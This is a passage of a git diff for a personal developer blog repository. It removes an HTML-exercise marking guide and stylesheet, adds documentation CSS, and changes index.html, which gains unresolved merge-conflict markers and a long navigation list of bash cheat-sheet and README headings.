-<dd>They need to wrap the first &lt;h2&gt; and the first two &lt;p&gt;s in an &lt;article&gt; element or a &lt;section&gt; element.</dd>
-<dt>The image sidebar (4 marks.)</dt>
-<dd>They need to wrap the second &lt;h2&gt; and the last four &lt;img&gt;s in an &lt;aside&gt; element.</dd>
-<dt>The footer (4 marks.)</dt>
-<dd>They need to wrap the last two &lt;p&gt;s in a &lt;footer&gt; element.</dd>
-</dl>
-
-## Other tasks
-
-<dl>
-<dt>Apply the provided CSS to the page by adding another &lt;link&gt; element just below the existing one provided at the start (4 marks.)</dt>
-<dd>The element should look like this: &lt;link rel="stylesheet" href="style.css"&gt;</dd>
-<dt>You'll get bonus points if it validates as much as possible (2 marks.)</dt>
-<dd>If the student's code validates, apart from the Google Font link element, they get the marks.</dd>
diff --git a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/style.css b/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/style.css
deleted file mode 100644
index c057fd42a6..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/style.css
+++ /dev/null
@@ -1,151 +0,0 @@
-/* || General setup */
-
-html,
-body {
-    margin: 0;
-    padding: 0;
-}
-
-html {
-    font-size: 10px;
-    background-color: #a9a9a9;
-}
-
-body {
-    width: 70%;
-    min-width: 800px;
-    margin: 0 auto;
-}
-
-/* || typography */
-
-h1,
-h2,
-h3 {
-    font-family: 'Cinzel Decorative', cursive;
-    color: #2a2a2a;
-}
-
-p,
-input,
-li {
-    font-family: 'Roboto Condensed', sans-serif;
-    color: #2a2a2a;
-}
-
-h1 {
-    font-size: 4rem;
-    text-align: center;
-    text-shadow: 2px 2px 10px black;
-}
-
-h2 {
-    font-size: 3rem;
-    text-align: center;
-}
-
-h3 {
-    font-size: 2.2rem;
-}
-
-p,
-li {
-    font-size: 1.6rem;
-    line-height: 1.5;
-}
-
-/* || header layout */
-
-header {
-    margin-bottom: 10px;
-    display: flex;
-    flex-flow: row wrap;
-}
-
-body > * {
-    background-color: red;
-    padding: 1%;
-}
-
-main,
-header,
-nav,
-article,
-aside,
-footer,
-section {
-    background-color: rgba(0, 255, 0, 0.5);
-    padding: 1%;
-}
-
-h1 {
-    flex: 5;
-    text-transform: uppercase;
-}
-
-header img {
-    display: block;
-    height: 60px;
-    padding-top: 20.15px;
-}
-
-nav {
-    height: 50px;
-    flex: 100%;
-    display: flex;
-}
-
-nav ul {
-    padding: 0;
-    list-style-type: none;
-    flex: 2;
-    display: flex;
-}
-
-nav li {
-    display: inline;
-    text-align: center;
-    flex: 1;
-}
-
-nav a,
-nav span {
-    display: inline-block;
-    font-size: 2rem;
-    height: 3rem;
-    line-height: 1.7;
-    text-transform: uppercase;
-    text-decoration: none;
-    color: black;
-}
-
-/* || main layout */
-
-main {
-    display: flex;
-}
-
-article,
-section {
-    flex: 4;
-}
-
-aside {
-    flex: 1;
-    margin-left: 10px;
-    padding: 1%;
-}
-
-aside a {
-    display: block;
-    float: left;
-    width: 50%;
-}
-
-aside img {
-    max-width: 100%;
-}
-
-footer {
-    margin-top: 10px;
-}
diff --git a/docs/docs/css/main.css b/docs/docs/css/main.css
new file mode 100644
index 0000000000..45ff935255
--- /dev/null
+++ b/docs/docs/css/main.css
@@ -0,0 +1,275 @@
+html,
+body {
+    font-family: 'Source Sans Pro', monospace, sans-serif;
+    font-size: 100%;
+    line-height: 1.65;
+}
+
+body.noscroll {
+    overflow: hidden;
+}
+
+a,
+a:visited,
+a:focus {
+    text-decoration: inherit;
+}
+
+img {
+    max-width: 100%;
+    height: auto;
+}
+
+[align='center'] {
+    display: block;
+    text-align: center;
+    margin: auto;
+}
+
+code,
+kbd,
+pre,
+samp {
+    max-width: 800px;
+    font-size: 14px;
+}
+
+code {
+    border-radius: 4px;
+}
+
+h2 {
+    padding-bottom: 0.3em;
+    border-bottom: 1px solid #eee;
+}
+
+blockquote {
+    padding: 0.75em;
+    padding-left: 1em;
+    margin: 0;
+    font-size: 0.95em;
+    color: rgba(0, 0, 0, 0.6);
+    background: rgba(46, 140, 255, 0.05);
+    border-left: 0.25em solid rgba(46, 140, 255, 0.5);
+    width: 100%;
+}
+blockquote > p {
+    margin: 0;
+}
+
+*,
+::after,
+::before {
+    box-sizing: border-box;
+}
+
+input[type='search'] {
+    padding: 1em;
+    font-size: 1em;
+    width: 100%;
+    border: none;
+    outline: none;
+    box-sizing: border-box;
+}
+
+header {
+    width: 100%;
+    background: #2e8cff;
+    color: white;
+    padding: 0.75em 1em;
+    overflow: hidden;
+}
+header .title {
+    overflow: hidden;
+    white-space: nowrap;
+    text-overflow: ellipsis;
+    margin-bottom: 0.25em;
+}
+header .info {
+    display: flex;
+    justify-content: space-between;
+    align-items: center;
+}
+header .info span.version {
+    opacity: 0.6;
+    font-style: italic;
+    font-size: 0.9em;
+}
+header .info .github {
+    font-size: 12px;
+    display: flex;
+    align-items: center;
+    color: white;
+    padding: 5px 10px;
+    border-radius: 4px;
+    background: rgba(255, 255, 255, 0.1);
+    transition: background 150ms ease;
+}
+header .info .github:hover {
+    background: rgba(255, 255, 255, 0.2);
+}
+header .info .github img {
+    margin-left: 0.75em;
+}
+
+main {
+    display: flex;
+    flex-direction: row;
+}
+main aside {
+    min-width: 260px;
+    border-right: 1px solid #eee;
+    position: fixed;
+    top: 0;
+    width: 260px;
+    height: 100vh;
+    box-shadow: 2px 0 16px 0 rgba(0, 0, 0, 0.05);
+}
+main aside footer {
+    position: absolute;
+    bottom: 0;
+    left: 0;
+    right: 0;
+    width: 100%;
+    padding-top: 0.25em;
+    text-align: center;
+    font-size: 13px;
+    border-top: 1px solid #ddd;
+    background: rgba(0, 0, 0, 0.05);
+    z-index: 10;
+}
+main aside footer a {
+    color: #2e8cff;
+    border-bottom: 1px dotted;
+    font-weight: bold;
+}
+main aside ul {
+    height: calc(100vh - 136px);
+    overflow-y: scroll;
+    list-style: none;
+    padding: 0;
+    padding-bottom: 5em;
+    margin: 0;
+}
+main aside ul li.heading,
+main aside ul li.subheading {
+    text-transform: capitalize;
+}
+main aside ul li.heading.noclick a,
+main aside ul li.subheading.noclick a {
+    background: transparent !important;
+}
+main aside ul li.heading a,
+main aside ul li.subheading a {
+    display: block;
+    font-size: 0.9em;
+    padding: 0.75em 1.5em;
+    border-bottom: 1px solid #eee;
+    color: #858585;
+    transition: background 150ms ease;
+}
+main aside ul li.heading a:hover,
+main aside ul li.subheading a:hover {
+    background: #fafafb;
+}
+main aside ul li.heading a.active,
+main aside ul li.subheading a.active {
+    color: #2e8cff;
+}
+main aside ul li.heading a:first-of-type a,
+main aside ul li.subheading a:first-of-type a {
+    border-top: 1px solid #eee;
+}
+main aside ul li.heading a {
+    color: #0c0c0c;
+    font-size: 14px;
+    padding: 0.75em 1.5em;
+}
+main aside ul li.subheading a {
+    padding: 0.5em 1.5em 0.5em 2.5em;
+}
+main section {
+    max-width: calc(100% - 260px);
+    flex: 1;
+    margin-left: 260px;
+}
+main section .component {
+    padding-bottom: 150px;
+}
+main section header {
+    padding: 0.75em;
+    background: white;
+    margin-top: -1px;
+    margin-bottom: 0;
+    border-top: 1px solid #eee;
+    border-bottom: 1px solid #eee;
+}
+main section h1 {
+    color: black;
+}
+main section article {
+    padding: 4em 23%;
+    border-bottom: 1px solid #eee;
+    transition: background 0.1s ease;
+}
+main section article ul.params li > span {
+    color: #a8a8ab;
+}
+main section article:hover {
+    background: white;
+}
+main section article h2 {
+    font-size: 1.6em;
+}
+
+code.lang-shell {
+    display: block;
+    padding: 0.6em;
+}
+
+code {
+    background: #f4f4f7;
+    padding: 6px;
+}
+code div {
+    margin: 0;
+    display: block;
+}
+
+.badge {
+    padding: 4px 8px;
+    font-size: 11px;
+    background: #ccc;
+    border-radius: 20px;
+    margin-left: 1em;
+    vertical-align: middle;
+    color: white;
+}
+
+.container {
+    max-width: 800px;
+    margin: 0 auto;
+    padding: 0 2em;
+}
+
+table th,
+table td {
+    padding: 0.75em 1.5em 0.75em 1em;
+}
+table thead {
+    text-align: left;
+    text-transform: uppercase;
+    letter-spacing: 1px;
+    font-size: 11px;
+    opacity: 0.4;
+}
+table tbody td {
+    border-bottom: 1px solid rgba(0, 0, 0, 0.03);
+    line-height: 1.65;
+    color: #666666;
+}
+table td > strong {
+    color: black;
+}
+
+/*# sourceMappingURL=main.css.map */
diff --git a/docs/images/github.svg b/docs/images/github.svg
old mode 100644
new mode 100755
diff --git a/docs/index.html b/docs/index.html
index a31ee2a06a..f8e16af0c3 100644
--- a/docs/index.html
+++ b/docs/index.html
@@ -1,5 +1,6 @@
 <!DOCTYPE html>
 <html>
+<<<<<<< HEAD
 
 <head>
   <meta charset="utf-8">
@@ -186,16 +187,494 @@ <h4 id="code">code</h4>
 </code></pre>
           <pre><code class="lang-sh">
 ```sh
+=======
+  <head>
+    <meta charset="utf-8">
+    <meta http-equiv="x-ua-compatible" content="ie=edge">
+    <title>Bgoonz-blog</title>
+    <meta name="description" content="Docky">
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <link rel="icon" href="images/favicon.png" type="image/x-icon">
+    <link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,500,600" rel="stylesheet" type="text/css">
+    <link rel="stylesheet" href="css/normalize.css">
+    <link rel="stylesheet" href="css/main.css">
+    <link rel="stylesheet" href="css/hljs-theme.css">
+    <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.4.0/highlight.min.js"></script>
+  </head>
+  <body>
+    <main>
+      <aside>
+        <header style="background-color:#2E8CFF">
+          <div class="title">Bgoonz-blog</div>
+          <div class="info"><span class="version">(1.11.5)</span>
+          </div>
+        </header>
+        <ul class="grouped">
+          <li class="heading"><a href="#introduction">Introduction</a></li>
+          <li class="heading"><a href="#useful-commands-internal-use">Useful Commands (internal use</a></li>
+          <li class="heading"><a href="#stable-points">Stable Points</a></li>
+          <li class="heading"><a href="#web-dev-setup">Web Dev Setup</a></li>
+          <li class="heading"><a href="#basic-web-development-environment-setup">Basic Web Development Environment Setup</a></li>
+          <li class="heading"><a href="#blog-content">Blog Content</a></li>
+          <li class="heading"><a href="#bash-cheat-sheet-my-commands"> Bash Cheat Sheet (MY COMMANDS</a></li>
+          <li class="heading"><a href="#1-remove-spaces-from-file-and-folder-names-and-then-remove-numbers-from-files-and-folder-names">1. Remove spaces from file and folder names and then remove numbers from files and folder names</a></li>
+          <li class="heading"><a href="#2-download-website-using-wget">2. Download Website Using Wget</a></li>
+          <li class="heading"><a href="#3-clean-out-messy-git-repo">3. Clean Out Messy Git Repo</a></li>
+          <li class="heading"><a href="#4-clone-all-of-a-users-git-repositories">4. clone all of a user's git repositories</a></li>
+          <li class="heading"><a href="#generalized">Generalized</a></li>
+          <li class="heading"><a href="#clone-all-git-user">Clone all Git User</a></li>
+          <li class="heading"><a href="#clone-all-git-organization">Clone all Git Organization</a></li>
+          <li class="heading"><a href="#5-git-workflow">5. Git Workflow</a></li>
+          <li class="heading"><a href="#6-recursive-unzip-in-place">6. Recursive Unzip In Place</a></li>
+          <li class="heading"><a href="#7-git-pull-keeping-local-changes">7. git pull keeping local changes</a></li>
+          <li class="heading"><a href="#8-prettier-code-formatter">8. Prettier Code Formatter</a></li>
+          <li class="heading"><a href="#9-pandoc">9. Pandoc</a></li>
+          <li class="heading"><a href="#10-gitpod-installs">10. Gitpod Installs</a></li>
+          <li class="heading"><a href="#11-repo-utils-package">11. Repo Utils Package</a></li>
+          <li class="heading"><a href="#12-unix-tree-package-usage">12. Unix Tree Package Usage</a></li>
+          <li class="heading"><a href="#13-find-replace-string-in-file-folder-names-recursively">13. Find &amp; Replace string in file &amp; folder names recursively</a></li>
+          <li class="heading"><a href="#14-remove-double-extensions">14. Remove double extensions</a></li>
+          <li class="heading"><a href="#15-truncate-folder-names-down-to-12-characters">15. Truncate folder names down to 12 characters</a></li>
+          <li class="heading"><a href="#16-appendir-js">16.Appendir.js</a></li>
+          <li class="heading"><a href="#17-replace-space-in-filename-with-underscore">17. Replace space in filename with underscore</a></li>
+          <li class="heading"><a href="#18-filter-delete-files-by-name-and-extension">18. Filter &amp; delete files by name and extension</a></li>
+          <li class="heading"><a href="#19-remove-lines-containing-string">19. Remove lines containing string</a></li>
+          <li class="heading"><a href="#20-remove-duplicate-lines-from-a-text-file">20. Remove duplicate lines from a text file</a></li>
+          <li class="heading"><a href="#21-remove-lines-containing-string">21. Remove lines containing string</a></li>
+          <li class="heading"><a href="#22-zip-directory-excluding-git-and-node-modules-all-the-way-down-linux">22. Zip directory excluding .git and node_modules all the way down (Linux</a></li>
+          <li class="heading"><a href="#usage">usage</a></li>
+          <li class="heading"><a href="#zipdir-thedir">- zipdir thedir</a></li>
+          <li class="heading"><a href="#zip-thedir-x-anotherexcludedsubdir-important-the-double-quotes-to-prevent-glob-expansion">- zip thedir -x &quot;anotherexcludedsubdir&quot;    (important the double quotes to prevent glob expansion</a></li>
+          <li class="heading"><a href="#if-in-windows-git-bash-add-zip-command-this-way">if in windows/git-bash, add 'zip' command this way</a></li>
+          <li class="heading"><a href="#https-stackoverflow-com-a-55749636-1482990">https://stackoverflow.com/a/55749636/1482990</a></li>
+          <li class="heading"><a href="#23-delete-files-containing-a-certain-string">23. Delete files containing a certain string</a></li>
+          <li class="heading"><a href="#24-generate-sitemap">24 Generate sitemap</a></li>
+          <li class="heading"><a href="#find-grep-i-files">find ./ | grep -i &quot;\.*$&quot; &gt;files</a></li>
+          <li class="heading"><a href="#25-index-of-iframes">25. Index of Iframes</a></li>
+          <li class="heading"><a href="#26-filter-corrupted-git-repo-for-troublesome-file">26. Filter Corrupted Git Repo For Troublesome File</a></li>
+          <li class="heading"><a href="#27-overwrite-local-changes">27. OVERWRITE LOCAL CHANGES</a></li>
+          <li class="heading"><a href="#backup-your-current-branch">Backup your current branch</a></li>
+          <li class="heading"><a href="#then-you-have-two-options">Then, you have two options</a></li>
+          <li class="heading"><a href="#or-if-you-are-on-some-other-branch">OR If you are on some other branch</a></li>
+          <li class="heading"><a href="#explanation">Explanation</a></li>
+          <li class="heading"><a href="#git-fetch-downloads-the-latest-from-remote-without-trying-to-merge-or-rebase-anything">git fetch downloads the latest from remote without trying to merge or rebase anything</a></li>
+          <li class="heading"><a href="#then-the-git-reset-resets-the-master-branch-to-what-you-just-fetched-the-hard-option-changes-all-the-files-in-your-working-tree-to-match-the-files-in-origin-master">Then the git reset resets the master branch to what you just fetched. The --hard option changes all the files in your working tree to match the files in origin/master</a></li>
+          <li class="heading"><a href="#28-remove-submodules">28. Remove Submodules</a></li>
+          <li class="heading"><a href="#29-get-gists">29. GET GISTS</a></li>
+          <li class="heading"><a href="#30-remove-remote-origin-l">30. Remove Remote OriginL</a></li>
+          <li class="heading"><a href="#31-just-clone-git-folder">31. just clone .git folder</a></li>
+          <li class="heading"><a href="#32-undo-recent-pull-request">32. Undo recent pull request</a></li>
+          <li class="heading"><a href="#33-lebab">33. Lebab</a></li>
+          <li class="heading"><a href="#safe">Safe</a></li>
+          <li class="heading"><a href="#all">ALL</a></li>
+          <li class="heading"><a href="#34-troubleshoot-ubuntu-input-output-error">34. Troubleshoot Ubuntu Input/Output Error</a></li>
+          <li class="heading"><a href="#35-export-medium-as-markdown">35. Export Medium as Markdown</a></li>
+          <li class="heading"><a href="#36-delete-files-in-violation-of-a-given-size-range-100-mb-for-git">36. Delete files in violation of a given size range (100MB for git</a></li>
+          <li class="heading"><a href="#37-download-all-links-of-given-file-type">37. download all links of given file type</a></li>
+          <li class="heading"><a href="#38-kill-all-node-processes">38. Kill all node processes</a></li>
+          <li class="heading"><a href="#39-remove-string-from-file-names-recursively">39. Remove string from file names recursively</a></li>
+          <li class="heading"><a href="#40-remove-spaces-from-file-and-folder-names-recursively">40. Remove spaces from file and folder names recursively</a></li>
+          <li class="heading"><a href="#41-zip-each-subdirectories-in-a-given-directory-into-their-own-zip-file">41. Zip Each subdirectories in a given directory into their own zip file</a></li>
+          <li class="heading"><a href="#91-unzip-power-shell">91. Unzip PowerShell</a></li>
+          <li class="heading"><a href="#92-return-to-bash-from-zsh">92. return to bash from zsh</a></li>
+          <li class="heading"><a href="#93-symbolic-link">93. Symbolic Link</a></li>
+          <li class="heading"><a href="#94-auto-generate-readme">94. auto generate readme</a></li>
+          <li class="heading"><a href="#95-log-into-postgres">95. Log into postgres</a></li>
+          <li class="heading"><a href="#96-url-to-subscribe-to-you-tube-channel">96. URL To Subscribe To YouTube Channel</a></li>
+          <li class="heading"><a href="#description">Description</a></li>
+          <li class="heading"><a href="#97-embed-repl-it-in-medium-post">97. Embed Repl.it In Medium Post</a></li>
+          <li class="heading"><a href="#98-r-rmove-text-target-parent-from-files-called-right-html">98 rRmove text target=&quot;parent&quot; from files called right.html</a></li>
+          <li class="heading"><a href="#99-cheat-sheet">99. Cheat Sheet</a></li>
+          <li class="heading"><a href="#shortcuts-and-history">SHORTCUTS and HISTORY</a></li>
+          <li class="heading"><a href="#bash-basics">BASH BASICS</a></li>
+          <li class="heading"><a href="#file-commands">FILE COMMANDS</a></li>
+          <li class="heading"><a href="#directory-commands">DIRECTORY COMMANDS</a></li>
+          <li class="heading"><a href="#ssh-system-info-network-commands">SSH, SYSTEM INFO &amp; NETWORK COMMANDS</a></li>
+          <li class="heading"><a href="#variables">VARIABLES</a></li>
+          <li class="heading"><a href="#functions">FUNCTIONS</a></li>
+          <li class="heading"><a href="#the-function-refers-to-passed-arguments-by-position-as-if-they-were-positional-parameters-that-is-1-2-and-so-forth">The function refers to passed arguments by position (as if they were positional parameters), that is, $1, $2, and so forth</a></li>
+          <li class="heading"><a href="#is-equal-to-1-2-n-where-n-is-the-number-of-positional-parameters-holds-the-number-of-positional-parameters">$@ is equal to &quot;$1&quot; &quot;$2&quot;... &quot;$N&quot;, where N is the number of positional parameters. $# holds the number of positional parameters</a></li>
+          <li class="heading"><a href="#flow-controls">FLOW CONTROLS</a></li>
+          <li class="heading"><a href="#strings">STRINGS</a></li>
+          <li class="heading"><a href="#files">FILES</a></li>
+          <li class="heading"><a href="#numbers">NUMBERS</a></li>
+          <li class="heading"><a href="#command-line-processing-cycle">COMMAND-LINE PROCESSING CYCLE</a></li>
+          <li class="heading"><a href="#the-default-order-for-command-lookup-is-functions-followed-by-built-ins-with-scripts-and-executables-last">The default order for command lookup is functions, followed by built-ins, with scripts and executables last</a></li>
+          <li class="heading"><a href="#there-are-three-built-ins-that-you-can-use-to-override-this-order-command-builtin-and-enable">There are three built-ins that you can use to override this order: `command`, `builtin` and `enable</a></li>
+          <li class="heading"><a href="#input-output-redirectors">INPUT/OUTPUT REDIRECTORS</a></li>
+          <li class="heading"><a href="#process-handling">PROCESS HANDLING</a></li>
+          <li class="heading"><a href="#to-suspend-a-job-type-ctrl-z-while-it-is-running-you-can-also-suspend-a-job-with-ctrl-y">To suspend a job, type CTRL+Z while it is running. You can also suspend a job with CTRL+Y</a></li>
+          <li class="heading"><a href="#this-is-slightly-different-from-ctrl-z-in-that-the-process-is-only-stopped-when-it-attempts-to-read-input-from-terminal">This is slightly different from CTRL+Z in that the process is only stopped when it attempts to read input from terminal</a></li>
+          <li class="heading"><a href="#of-course-to-interrupt-a-job-type-ctrl-c">Of course, to interrupt a job, type CTRL+C</a></li>
+          <li class="heading"><a href="#tips-tricks">TIPS &amp; TRICKS</a></li>
+          <li class="heading"><a href="#set-an-alias">set an alias</a></li>
+          <li class="heading"><a href="#to-quickly-go-to-a-specific-directory">to quickly go to a specific directory</a></li>
+          <li class="heading"><a href="#debugging-shell-programs">DEBUGGING SHELL PROGRAMS</a></li>
+          <li class="heading"><a href="#section-of-code-in-which-the-problem-occurs">...section of code in which the problem occurs</a></li>
+          <li class="heading"><a href="#colors-and-backgrounds">COLORS AND BACKGROUNDS</a></li>
+          <li class="heading"><a href="#note-e-or-x-1-b-also-work-instead-of-033">note: \e or \x1B also work instead of \033</a></li>
+          <li class="heading"><a href="#reset">Reset</a></li>
+          <li class="heading"><a href="#regular-colors">Regular Colors</a></li>
+          <li class="heading"><a href="#additional-colors">Additional colors</a></li>
+          <li class="heading"><a href="#bold">Bold</a></li>
+          <li class="heading"><a href="#underline">Underline</a></li>
+          <li class="heading"><a href="#background">Background</a></li>
+          <li class="heading"><a href="#example-of-usage">Example of usage</a></li>
+          <li class="heading"><a href="#option-e-is-mandatory-it-enable-interpretation-of-backslash-escapes">option -e is mandatory, it enable interpretation of backslash escapes</a></li>
+          <li class="heading"><a href="#to-find-files-by-case-insensitive-extension-ex-jpg-jpg-jp-g">To find files by case-insensitive extension (ex: .jpg, .JPG, .jpG</a></li>
+          <li class="heading"><a href="#to-find-directories">To find directories</a></li>
+          <li class="heading"><a href="#to-find-files">To find files</a></li>
+          <li class="heading"><a href="#to-find-files-by-octal-permission">To find files by octal permission</a></li>
+          <li class="heading"><a href="#to-find-files-with-setuid-bit-set">To find files with setuid bit set</a></li>
+          <li class="heading"><a href="#to-find-files-with-extension-txt-and-remove-them">To find files with extension '.txt' and remove them</a></li>
+          <li class="heading"><a href="#to-find-files-with-extension-txt-and-look-for-a-string-into-them">To find files with extension '.txt' and look for a string into them</a></li>
+          <li class="heading"><a href="#to-find-files-with-size-bigger-than-5-mebibyte-and-sort-them-by-size">To find files with size bigger than 5 Mebibyte and sort them by size</a></li>
+          <li class="heading"><a href="#to-find-files-bigger-than-2-megabyte-and-list-them">To find files bigger than 2 Megabyte and list them</a></li>
+          <li class="heading"><a href="#to-find-files-modified-more-than-7-days-ago-and-list-file-information">To find files modified more than 7 days ago and list file information</a></li>
+          <li class="heading"><a href="#to-find-symlinks-owned-by-a-user-and-list-file-information">To find symlinks owned by a user and list file information</a></li>
+          <li class="heading"><a href="#to-search-for-and-delete-empty-directories">To search for and delete empty directories</a></li>
+          <li class="heading"><a href="#to-search-for-directories-named-build-at-a-max-depth-of-2-directories">To search for directories named build at a max depth of 2 directories</a></li>
+          <li class="heading"><a href="#to-search-all-files-who-are-not-in-git-directory">To search all files who are not in .git directory</a></li>
+          <li class="heading"><a href="#to-find-all-files-that-have-the-same-node-hard-link-as-my-file-here">To find all files that have the same node (hard link) as MY_FILE_HERE</a></li>
+          <li class="heading"><a href="#to-find-all-files-in-the-current-directory-and-modify-their-permissions">To find all files in the current directory and modify their permissions</a></li>
+          <li class="heading"><a href="#wiki-nav">Wiki Nav</a></li>
+          <li class="heading"><a href="#dependencies">Dependencies</a></li>
+          <li class="heading"><a href="#docs-structure">Docs Structure</a></li>
+          <li class="heading"><a href="#sitemap">SITEMAP</a></li>
+          <li class="heading"><a href="#🚀-quick-start">🚀 Quick start</a></li>
+          <li class="heading"><a href="#🧐-whats-inside">🧐 What's inside</a></li>
+          <li class="heading"><a href="#🎓-learning-gatsby">🎓 Learning Gatsby</a></li>
+          <li class="heading"><a href="#💫-deploy">💫 Deploy</a></li>
+          <li class="heading"><a href="#prerequisites">Prerequisites</a></li>
+          <li class="heading"><a href="#set-up-a-netlify-cms-managed-gatsby-site-in-5-steps">Set up a Netlify CMS-managed Gatsby site in 5 steps</a></li>
+          <li class="heading"><a href="#gatsby-project-structure-gatsby">Gatsby Project Structure | Gatsby</a></li>
+          <li class="heading"><a href="#excerpt">Excerpt</a></li>
+          <li class="heading"><a href="#adding-markdown-pages-gatsby">Adding Markdown Pages | Gatsby</a></li>
+          <li class="heading"><a href="#technoloy">Technoloy</a></li>
+          <li class="heading"><a href="#sourcecode">SOURCECODE</a></li>
+          <li class="heading"><a href="#source-code">Source Code</a></li>
+          <li class="heading"><a href="#component-structure">Component Structure</a></li>
+          <li class="heading"><a href="#get-page">getPage</a></li>
+          <li class="heading"><a href="#get-page-by-file-path">getPageByFilePath</a></li>
+          <li class="heading"><a href="#get-pages">getPages</a></li>
+        </ul>
+        <footer>
+          <p>Generated with<a href="https://github.com/markmur/docky"> Docky</a></p>
+        </footer>
+      </aside>
+      <section id="methods">
+        <div class="container" id="readme">
+          <h2 id="introduction">Introduction</h2>
+          <div><h1 id="bgoonz-blog-readme">Bgoonz Blog Readme</h1>
+<h3 id="-website-"><a href="https://bgoonz-blog.netlify.app">⇨WEBSITE🗺️⇦</a></h3>
+<h3 id="changelog"><a href="./CHANGELOG.md">CHANGELOG</a></h3>
+<h5 id="-website-cloudfare-backup-search-backup-repo-deploy-github-pages-go-to-site-wiki-gatsby-cloud-version-vercel-version-cloudfare-domain-gh-pages-backup-netlify-deploy-"><a href="https://bgoonz-blog.netlify.app">⇨WEBSITE🗺️⇦</a> <a href="https://bgoonz-blog-2-0.pages.dev/">⇨<strong>Cloudfare-Backup</strong>⇦</a> <a href="https://www.algolia.com/realtime-search-demo/web-dev-resource-hub-9e6b8aa8-6106-44c5-9f59-ff3f9531abd4">⇨<strong>search</strong>⇦</a> <a href="https://bgoonzblog20-backup.netlify.app/#gsc.tab=0">⇨<strong>Backup Repo Deploy</strong>⇦</a> <a href="https://bgoonz.github.io/BGOONZ_BLOG_2.0/">⇨<strong>Github pages</strong>⇦</a> <a href="https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki">⇨<strong>Go To Site Wiki</strong>⇦</a> <a href="https://bgoonzblog20master.gatsbyjs.io/">⇨<strong>Gatsby Cloud Version</strong>⇦</a> <a href="https://bgoonz-blog-2-0.vercel.app/">⇨<strong>Vercel Version</strong>⇦</a> <a href="www.webdevhub.us">⇨<strong>Cloudfare-Domain</strong>⇦</a> <a href="https://bgoonz.github.io/BGOONZ_BLOG_2.0/">⇨<strong>gh-pages</strong>⇦</a> <a href="https://bgoonz-blog20-backup.netlify.app/">⇨<strong>backup netlify deploy</strong>⇦</a></h5>
+<h3 id="repos">Repos</h3>
+<p><a href="https://github.com/BGOOONZ-BLOG/bgoonz-blog2.0-v-5">Alt Backup</a>
+<a href="https://github.com/bgoonz/MainBlogContent">Blog Content</a></p>
+<h4 id="-privacy-policy-"><a href="https://codepen.io/bgoonz/pen/LYLJZrW">⇨Privacy policy⇦</a></h4>
+<p><a href="https://app.netlify.com/sites/bgoonz-blog/deploys"><img src="https://api.netlify.com/api/v1/badges/a1b7ee1a-11a7-4bd2-a341-2260656e216f/deploy-status" alt="Netlify Status"></a><a href="https://www.codefactor.io/repository/github/bgoonz/bgoonz_blog_2.0"><img src="https://www.codefactor.io/repository/github/bgoonz/bgoonz_blog_2.0/badge" alt="CodeFactor"></a>
+<img src="https://visitor-badge-reloaded.herokuapp.com/badge?page_id=bgoonz.visitor.badge.reloaded&amp;color=00bbbb&amp;style=for-the-badge&amp;logo=github" alt="GitHub visitors">
+<a href="https://github.com/DUKE42web/BGOONZ_BLOG_2.0/actions/workflows/pa7ges.yml"><img src="https://github.com/DUKE42web/BGOONZ_BLOG_2.0/actions/workflows/pa7ges.yml/badge.svg?branch=master&amp;event=deployment" alt="Deploy Gatsby site to Pages"></a></p>
+<h2 id="-github-workflows-pages-yml"><a href="https://github.com/permission-squad/BGOONZ_BLOG_2.0/actions/workflows/pages.yml"><img src="https://github.com/permission-squad/BGOONZ_BLOG_2.0/actions/workflows/pages.yml/badge.svg?branch=master&amp;event=deployment" alt=".github/workflows/pages.yml"></a></h2>
+<h4 id="branch-deploys">Branch Deploys</h4>
+<h5 id="preview"><a href="https://preview--bgoonz-blog.netlify.app/">Preview</a></h5>
+<h5 id=""><a href=""></a></h5>
+<h5 id=""><a href=""></a></h5>
+<h5 id=""><a href=""></a></h5>
+<h5 id=""><a href=""></a></h5>
+<h5 id=""><a href=""></a></h5>
+<h5 id=""><a href=""></a></h5>
+<h5 id=""><a href=""></a></h5>
+<p>docky src/components/<strong>/*.js   --watch &quot;src/components/</strong>/*.js&quot;,&quot;./README.md&quot;  --ignore &quot;src/components/**/index.js&quot;</p>
+<hr>
+<!-- @import "[TOC]" {cmd="toc" depthFrom=1 depthTo=6 orderedList=false} -->
+<!-- code_chunk_output -->
+<ul>
+<li><a href="#bgoonz-blog-readme">Bgoonz Blog Readme</a><ul>
+<li><a href="#website️httpsbgoonz-blognetlifyapp">⇨WEBSITE🗺️⇦</a></li>
+<li><a href="#changelogchangelogmd">CHANGELOG</a><ul>
+<li><a href="#website️httpsbgoonz-blognetlifyapp-cloudfare-backuphttpsbgoonz-blog-2-0pagesdev-searchhttpswwwalgoliacomrealtime-search-demoweb-dev-resource-hub-9e6b8aa8-6106-44c5-9f59-ff3f9531abd4-backup-repo-deployhttpsbgoonzblog20-backupnetlifyappgsctab0-github-pageshttpsbgoonzgithubiobgoonz_blog_20-go-to-site-wikihttpsgithubcombgoonzbgoonz_blog_20wiki-gatsby-cloud-versionhttpsbgoonzblog20mastergatsbyjsio-vercel-versionhttpsbgoonz-blog-2-0vercelapp-cloudfare-domainwwwwebdevhubus-gh-pageshttpsbgoonzgithubiobgoonz_blog_20-backup-netlify-deployhttpsbgoonz-blog20-backupnetlifyapp">⇨WEBSITE🗺️⇦ ⇨<strong>Cloudfare-Backup</strong>⇦ ⇨<strong>search</strong>⇦ ⇨<strong>Backup Repo Deploy</strong>⇦ ⇨<strong>Github pages</strong>⇦ ⇨<strong>Go To Site Wiki</strong>⇦ ⇨<strong>Gatsby Cloud Version</strong>⇦ ⇨<strong>Vercel Version</strong>⇦ ⇨<strong>Cloudfare-Domain</strong>⇦ ⇨<strong>gh-pages</strong>⇦ ⇨<strong>backup netlify deploy</strong>⇦</a></li>
+</ul>
+</li>
+<li><a href="#repos">Repos</a><ul>
+<li><a href="#privacy-policyhttpscodepeniobgoonzpenlyljzrw">⇨Privacy policy⇦</a></li>
+</ul>
+</li>
+<li><a href="#useful-commands-internal-use">Useful Commands (internal use)</a></li>
+<li><a href="#stable-points">Stable Points:</a></li>
+<li><a href="#web-dev-setup">Web Dev Setup</a><ul>
+<li><a href="#documentation-commands">Documentation Commands:</a></li>
+</ul>
